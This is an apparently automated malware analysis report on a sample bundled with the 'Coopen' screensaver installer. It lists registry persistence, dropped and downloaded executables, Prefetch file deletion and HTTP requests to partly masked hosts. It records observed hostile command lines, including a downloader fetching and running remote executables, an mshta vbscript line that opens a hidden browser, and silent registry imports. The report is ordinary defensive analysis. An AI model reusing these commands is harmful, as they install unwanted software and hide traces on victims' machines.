Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Classes\.Noxyx\shell\open\command] '' = 'IEXPLORE.EXE http://dns.4555.net/go/4555/xiaoyouxi.htm'
- [<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '%PROGRAM_FILES%\Coopen\Coopen.scr'
Creates or modifies the following files:
- %HOMEPATH%\Start Menu\Programs\Startup\CoopenІҐ·ЕЖч.lnk
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- <LS_APPDATA>\In.exe "http://www.zu###uyi.com/l/37a.exe"
- %TEMP%\setup5.exe
- <LS_APPDATA>\In.exe "http://www.zu###uyi.com/l/setup5.exe"
- %TEMP%\nsetup.exe
- <LS_APPDATA>\In.exe "http://a.###iazai.com/soft/nsetup.exe"
- %TEMP%\37a.exe
- <LS_APPDATA>\nsetup.exe
- <LS_APPDATA>\In.exe "http://a.###iazai.com/soft/setup3.exe"
- %TEMP%\setup3.exe
- <LS_APPDATA>\In.exe "http://a.###iazai.com/soft/setup2.exe"
- %TEMP%\setup2.exe
- %TEMP%\nsetup.exe (downloaded from the Internet)
- %TEMP%\37a.exe (downloaded from the Internet)
- %TEMP%\setup2.exe (downloaded from the Internet)
- %TEMP%\setup5.exe (downloaded from the Internet)
- %TEMP%\setup3.exe (downloaded from the Internet)
Executes the following:
- <SYSTEM32>\net1.exe start "Task Scheduler"
- <SYSTEM32>\sc.exe config Schedule start= auto
- <SYSTEM32>\reg.exe QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Cache
- %PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://www.07##6.com/index2.html?ni###
- %WINDIR%\regedit.exe /s "<LS_APPDATA>\xyx.reg"
- %WINDIR%\regedit.exe /s "<LS_APPDATA>\lnh.reg"
- %PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://st##.02933.com/info.mssql/?st########
- <SYSTEM32>\mshta.exe vbscript:createobject("wscript.shell").run("""iexplore""http://st##.02933.com/info.mssql/?st########",0)(window.close)
Modifies file system :
Creates the following files:
- %PROGRAM_FILES%\Coopen\Coopen.scr
- %PROGRAM_FILES%\Coopen\image\Wallpaper\local wallpaper\DefaultCoopenWallpaper.jpg
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Synopsis1.ini
- %PROGRAM_FILES%\Coopen\Templete\DefaultCoopenWallpaper.jpg
- %PROGRAM_FILES%\Coopen\image\Wallpaper\local wallpaper\ModeAList.ini
- %PROGRAM_FILES%\Coopen\image\Photo\local Photo\B_0.jpg
- %PROGRAM_FILES%\Coopen\image\Photo\local Photo\B_1.jpg
- %PROGRAM_FILES%\Coopen\image\Wallpaper\coopen wallpaper\DefaultCoopenWallpaper.jpg
- %PROGRAM_FILES%\Coopen\image\Wallpaper\coopen wallpaper\PicList.ini
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\SkinClose.ini
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Push_Config.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Push_Confirm.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Progress.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Push_Cancel.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Push_Folder.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Synopsis1.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\SkinClient.ini
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\RadioC.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\RadioU.png
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\index2[1].html
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\setup5[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\setup2[1].exe
- %TEMP%\setup2.exe
- %TEMP%\setup5.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\nsetup[1].exe
- %TEMP%\nsetup.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\37a[1].exe
- %TEMP%\37a.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\info[1]
- %PROGRAM_FILES%\Coopen\uninst.exe
- %PROGRAM_FILES%\Coopen\conf\All Users.ini
- %PROGRAM_FILES%\Coopen\image\Photo\local Photo\ModeBList.ini
- %HOMEPATH%\Start Menu\Programs\Coopen\CoopenІҐ·ЕЖч.lnk
- %PROGRAM_FILES%\Coopen\conf\%USERNAME%.ini
- %TEMP%\setup3.exe
- %PROGRAM_FILES%\Internet Explorer\xyx.ico
- %HOMEPATH%\Desktop\Coopen.lnk
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\setup3[1].exe
- %PROGRAM_FILES%\Coopen\CoopenMainManager.dll
- %PROGRAM_FILES%\Coopen\CoopenActiveControl108.dll
- %TEMP%\nsc4.tmp\install.bmp
- %PROGRAM_FILES%\Coopen\CoopenAir.exe
- %PROGRAM_FILES%\Coopen\licence.txt
- %PROGRAM_FILES%\Coopen\conf\PluginConfig.ini
- %PROGRAM_FILES%\Coopen\Templete\ModeC.tpl
- %PROGRAM_FILES%\Coopen\conf\ModeAChannelList.txt
- %PROGRAM_FILES%\Coopen\conf\ModeAChannelListReal.txt
- %PROGRAM_FILES%\Coopen\Coopen.exe
- <LS_APPDATA>\xyx.reg
- <LS_APPDATA>\xyx.ico
- %TEMP%\~1.bat
- <LS_APPDATA>\In.exe
- <LS_APPDATA>\nsetup.exe
- C:\CCPMachineInfo.dll
- %TEMP%\nsc4.tmp\KillProcDLL.dll
- %TEMP%\nsx3.tmp
- %TEMP%\nsc4.tmp\System.dll
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\CheckC.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\CheckU.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Prev.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Widget.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Indicator1.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Message.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Notify.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Indicator2.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\MainIcon.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Play.png
- %PROGRAM_FILES%\Coopen\Templete\CoopenPhoto.jpg
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Background.png
- %PROGRAM_FILES%\Coopen\Templete\ModeB.tpl
- %PROGRAM_FILES%\Coopen\Templete\ModeB_logo.jpg
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Channel.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Next.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Pause.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Close.png
- %PROGRAM_FILES%\Coopen\Resource\SkinFormal\Button_Commit.png
Sets the 'hidden' attribute to the following files:
- %TEMP%\~1.bat
Deletes the following files:
- %WINDIR%\Prefetch\SERVICEMODELREG.EXE-1FB5DD06.pf
- %WINDIR%\Prefetch\SCOOPYNG.EXE-1E3B99FD.pf
- %WINDIR%\Prefetch\SERVICES.EXE-2F433351.pf
- %WINDIR%\Prefetch\SERVICEMODELREG.EXE-3848AC09.pf
- %WINDIR%\Prefetch\RUNONCE.EXE-2803F297.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-4499C56E.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-4176E9B5.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-49F747DB.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-470F11BD.pf
- %WINDIR%\Prefetch\SETUP_WM.EXE-3135CBD7.pf
- %WINDIR%\Prefetch\SETUP50.EXE-362FF7C9.pf
- %WINDIR%\Prefetch\SHMGRATE.EXE-1BA69E68.pf
- %WINDIR%\Prefetch\SFK.EXE-1565BDCF.pf
- %WINDIR%\Prefetch\SETUP.EXE-314FAC7C.pf
- %WINDIR%\Prefetch\SETUP.EXE-0FFAB653.pf
- %WINDIR%\Prefetch\SETUP.EXE-015E7381.pf
- %WINDIR%\Prefetch\SETUP.EXE-1BF5B58E.pf
- %WINDIR%\Prefetch\SETUP.EXE-183299E5.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-12E27DD0.pf
- %WINDIR%\Prefetch\REGTLIBV12.EXE-35B5D8AD.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-169CA248.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-147710F4.pf
- %WINDIR%\Prefetch\REGTLIBV12.EXE-0E2FA54B.pf
- %WINDIR%\Prefetch\REGSVCS.EXE-11A17120.pf
- %WINDIR%\Prefetch\REGSVCS.EXE-077D24C2.pf
- %WINDIR%\Prefetch\REGTLIB.EXE-0CCB81E6.pf
- %WINDIR%\Prefetch\REGSVR32.EXE-25EEFE2F.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-2C7B5C4A.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-2AF77CC9.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-31EBBE5F.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-2F26E69F.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-29373198.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-1BC69D2D.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-1831A4F3.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-286A7F8C.pf
- %WINDIR%\Prefetch\RUNDLL32.EXE-2576181F.pf
- %WINDIR%\Prefetch\SL1.TMP-04C43349.pf
- %WINDIR%\Prefetch\WIC_X86_ENU.EXE-0A240D86.pf
- %WINDIR%\Prefetch\WFSERVICESREG.EXE-063492A2.pf
- %WINDIR%\Prefetch\WMIPRVSE.EXE-28F301A9.pf
- %WINDIR%\Prefetch\WMIADAP.EXE-2DF425B2.pf
- %WINDIR%\Prefetch\VS7.1SP1-KB9322981102-X86-ENU-356F70C0.pf
- %WINDIR%\Prefetch\VCREDIST_X86_2010SP1.EXE-2DD9A199.pf
- %WINDIR%\Prefetch\VCREDIST_X86_2010.EXE-24F154F5.pf
- %WINDIR%\Prefetch\VCREDI~3.EXE-0730BA06.pf
- %WINDIR%\Prefetch\VCREDI~1.EXE-33033670.pf
- <LS_APPDATA>\xyx.reg
- <LS_APPDATA>\In.exe
- <LS_APPDATA>\nsetup.exe
- <LS_APPDATA>\xyx.ico
- %WINDIR%\Prefetch\XPSEPSC-X86-EN-US.EXE-1D9A5DDC.pf
- %WINDIR%\Prefetch\WSCNTFY.EXE-1B24F5EB.pf
- %WINDIR%\Prefetch\WMPLAYER.EXE-18DDEF9D.pf
- %WINDIR%\Prefetch\XPSEPSC-X86-EN-US.EXE-13D81584.pf
- %WINDIR%\Prefetch\WUAUCLT.EXE-399A8E72.pf
- %WINDIR%\Prefetch\TOURSTART.EXE-0D0140ED.pf
- %WINDIR%\Prefetch\TASKMGR.EXE-20256C55.pf
- %WINDIR%\Prefetch\UNREGMP2.EXE-07CACB61.pf
- %WINDIR%\Prefetch\UNLODCTR.EXE-37313252.pf
- %WINDIR%\Prefetch\SVCHOST.EXE-3530F672.pf
- %WINDIR%\Prefetch\SLEEP.EXE-34A06B41.pf
- %WINDIR%\Prefetch\SL38.TMP-141C07C8.pf
- %WINDIR%\Prefetch\SPUPDSVC.EXE-21B36524.pf
- %WINDIR%\Prefetch\SPOOLSV.EXE-282F76A7.pf
- %WINDIR%\Prefetch\VCREDIST_X86_2005.EXE-1A2586B8.pf
- %WINDIR%\Prefetch\VCREDIST.EXE-3810E24C.pf
- %WINDIR%\Prefetch\VCREDIST_X86_2008.EXE-0322FB7F.pf
- %WINDIR%\Prefetch\VCREDIST_X86_2005SP1.EXE-005B71E6.pf
- %WINDIR%\Prefetch\VC6REDISTSETUP_ENU.EXE-0D8EC880.pf
- %WINDIR%\Prefetch\UPDATE.EXE-15191106.pf
- %WINDIR%\Prefetch\UPDATE.EXE-0B22B468.pf
- %WINDIR%\Prefetch\USERINIT.EXE-30B18140.pf
- %WINDIR%\Prefetch\UPDATE.EXE-32EB78F6.pf
- %WINDIR%\Prefetch\REGEDIT.EXE-1B606482.pf
- %WINDIR%\Prefetch\CSC.EXE-01730C27.pf
- %WINDIR%\Prefetch\CONTROL.EXE-013DBFB5.pf
- %WINDIR%\Prefetch\CSRSS.EXE-12B63473.pf
- %WINDIR%\Prefetch\CSCRIPT.EXE-1C26180C.pf
- %WINDIR%\Prefetch\CMDOW.EXE-26D8B62B.pf
- %WINDIR%\Prefetch\CALC.EXE-02CD573A.pf
- %WINDIR%\Prefetch\ASPNET_REGIIS.EXE-38397C30.pf
- %WINDIR%\Prefetch\CMD.EXE-087B4001.pf
- %WINDIR%\Prefetch\CLWIREG.EXE-2A4BC2FD.pf
- %WINDIR%\Prefetch\DOTNETFX3.EXE-35065F74.pf
- %WINDIR%\Prefetch\DOTNETFX.EXE-2FD4C451.pf
- %WINDIR%\Prefetch\DOTNETFX35SETUP.EXE-39FE1058.pf
- %WINDIR%\Prefetch\DOTNETFX35.EXE-0101DD70.pf
- %WINDIR%\Prefetch\DOTNETFX.EXE-2AC9C3A4.pf
- %WINDIR%\Prefetch\CVTRES.EXE-2329DCD5.pf
- %WINDIR%\Prefetch\CTFMON.EXE-0E17969B.pf
- %WINDIR%\Prefetch\DOTNETFX.EXE-1747AF91.pf
- %WINDIR%\Prefetch\DLLHOST.EXE-5353C76C.pf
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\setup5[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\setup3[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\info[1]
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\37a[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\setup2[1].exe
- %TEMP%\nsc4.tmp\KillProcDLL.dll
- %TEMP%\nsc4.tmp\install.bmp
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\nsetup[1].exe
- %TEMP%\nsc4.tmp\System.dll
- %WINDIR%\Prefetch\<Auxiliary name>.EXE-0533471A.pf
- %WINDIR%\Prefetch\ALG.EXE-0F138680.pf
- %WINDIR%\Prefetch\ASPNET_REGIIS.EXE-057C90FA.pf
- %WINDIR%\Prefetch\ASPNET_REGIIS.EXE-009D6E80.pf
- %TEMP%\setup5.exe
- %TEMP%\nsetup.exe
- %TEMP%\37a.exe
- %TEMP%\setup3.exe
- %TEMP%\setup2.exe
- %WINDIR%\Prefetch\DOTNETFX40_FULL_X86_X64.EXE-2F42557F.pf
- %WINDIR%\Prefetch\MSIMN.EXE-38BA891D.pf
- %WINDIR%\Prefetch\MSIEXEC.EXE-2F8A8CAE.pf
- %WINDIR%\Prefetch\MSOOBE.EXE-30411B02.pf
- %WINDIR%\Prefetch\MSMSGS.EXE-2B6052DE.pf
- %WINDIR%\Prefetch\MSDTC.EXE-0E6E4AF7.pf
- %WINDIR%\Prefetch\MSCONFIG.EXE-35E4DAE9.pf
- %WINDIR%\Prefetch\MOFCOMP.EXE-01718E95.pf
- %WINDIR%\Prefetch\MSCORSVW.EXE-1BF30400.pf
- %WINDIR%\Prefetch\MSCORSVW.EXE-1366B4F5.pf
- %WINDIR%\Prefetch\PRINTFILTERPIPELINESVC.EXE-0F2B9E77.pf
- %WINDIR%\Prefetch\PRESETUP.EXE-1C8BD573.pf
- %WINDIR%\Prefetch\PS.EXE-31DC4694.pf
- %WINDIR%\Prefetch\PRINTFILTERPIPELINESVC.EXE-31AE7114.pf
- %WINDIR%\Prefetch\PERFORMANCECOUNTERINSTALLER.E-334D54EC.pf
- %WINDIR%\Prefetch\NGEN.EXE-1F9EA69F.pf
- %WINDIR%\Prefetch\NGEN.EXE-171CDCC6.pf
- %WINDIR%\Prefetch\NTOSBOOT-B00DFAAD.pf
- %WINDIR%\Prefetch\NGEN.EXE-38021CCC.pf
- %WINDIR%\Prefetch\IE4UINIT.EXE-169A5A39.pf
- %WINDIR%\Prefetch\ICWCONN1.EXE-24884676.pf
- %WINDIR%\Prefetch\IMAPI.EXE-0BF740A4.pf
- %WINDIR%\Prefetch\IEXPLORE.EXE-27122324.pf
- %WINDIR%\Prefetch\FIREFOX.EXE-030B768A.pf
- %WINDIR%\Prefetch\EVENTS.EXE-2EDF4756.pf
- %WINDIR%\Prefetch\DOTNETREDIST.EXE-2C5CB08D.pf
- %WINDIR%\Prefetch\FAR.EXE-13A195F9.pf
- %WINDIR%\Prefetch\EXPLORER.EXE-082F38A9.pf
- %WINDIR%\Prefetch\MIGPOLWIN.EXE-1EFB7D70.pf
- %WINDIR%\Prefetch\LSASS.EXE-20DB6D1B.pf
- %WINDIR%\Prefetch\MMC.EXE-39071BCC.pf
- %WINDIR%\Prefetch\<Auxiliary name>.EXE-1553D33B.pf
- %WINDIR%\Prefetch\LOGONUI.EXE-0AF22957.pf
- %WINDIR%\Prefetch\INSTALL.EXE-37B819BB.pf
- %WINDIR%\Prefetch\INSTALL.EXE-372327E4.pf
- %WINDIR%\Prefetch\LOGON.SCR-151EFAEA.pf
- %WINDIR%\Prefetch\LODCTR.EXE-1009C3B4.pf
Network activity:
Connects to:
- 'localhost':1044
- 'www.07##6.com':80
- 'www.zu###uyi.com':80
- 'localhost':1048
- 'localhost':1046
- 'localhost':1042
- 'a.###iazai.com':80
- 'localhost':1035
- 'localhost':1038
- 'localhost':1040
- 'st##.02933.com':80
TCP:
HTTP GET requests:
- www.zu###uyi.com/l/setup5.exe
- www.zu###uyi.com/l/37a.exe
- a.###iazai.com/soft/nsetup.exe
- www.07##6.com/index2.html?ni###
- a.###iazai.com/soft/setup3.exe
- st##.02933.com/info.mssql/?st########
- a.###iazai.com/soft/setup2.exe
UDP:
- DNS ASK www.07##6.com
- DNS ASK www.zu###uyi.com
- DNS ASK a.###iazai.com
- DNS ASK st##.02933.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: '' WindowName: 'Coopen@wwwcoopencn'
- ClassName: '' WindowName: 'cool66byCool66comcn123'
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'CoopenPlayer' WindowName: '*????????*'